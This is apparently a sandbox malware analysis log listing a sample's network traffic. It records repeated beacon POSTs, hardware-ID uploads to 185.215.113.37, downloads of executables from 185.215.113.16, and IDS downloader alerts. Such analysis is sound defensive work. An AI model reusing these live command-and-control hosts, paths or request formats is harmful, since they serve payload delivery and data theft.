Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="build"doma------AFHDBGHJKFIDHJJJEBKE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------DHJKJKKKJJJKJKFHJJJJContent-Disposition: form-data; name="build"doma------DHJKJKKKJJJKJKFHJJJJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECFIJDAAAKECBFCGHIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 46 49 4a 44 41 41 41 4b 45 43 42 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------DAECFIJDAAAKECBFCGHIContent-Disposition: form-data; name="build"doma------DAECFIJDAAAKECBFCGHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49763 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49868 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49900 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49932 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49961 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49961 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50085 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Code function: 12_2_00FDCE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

12_2_00FDCE44

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
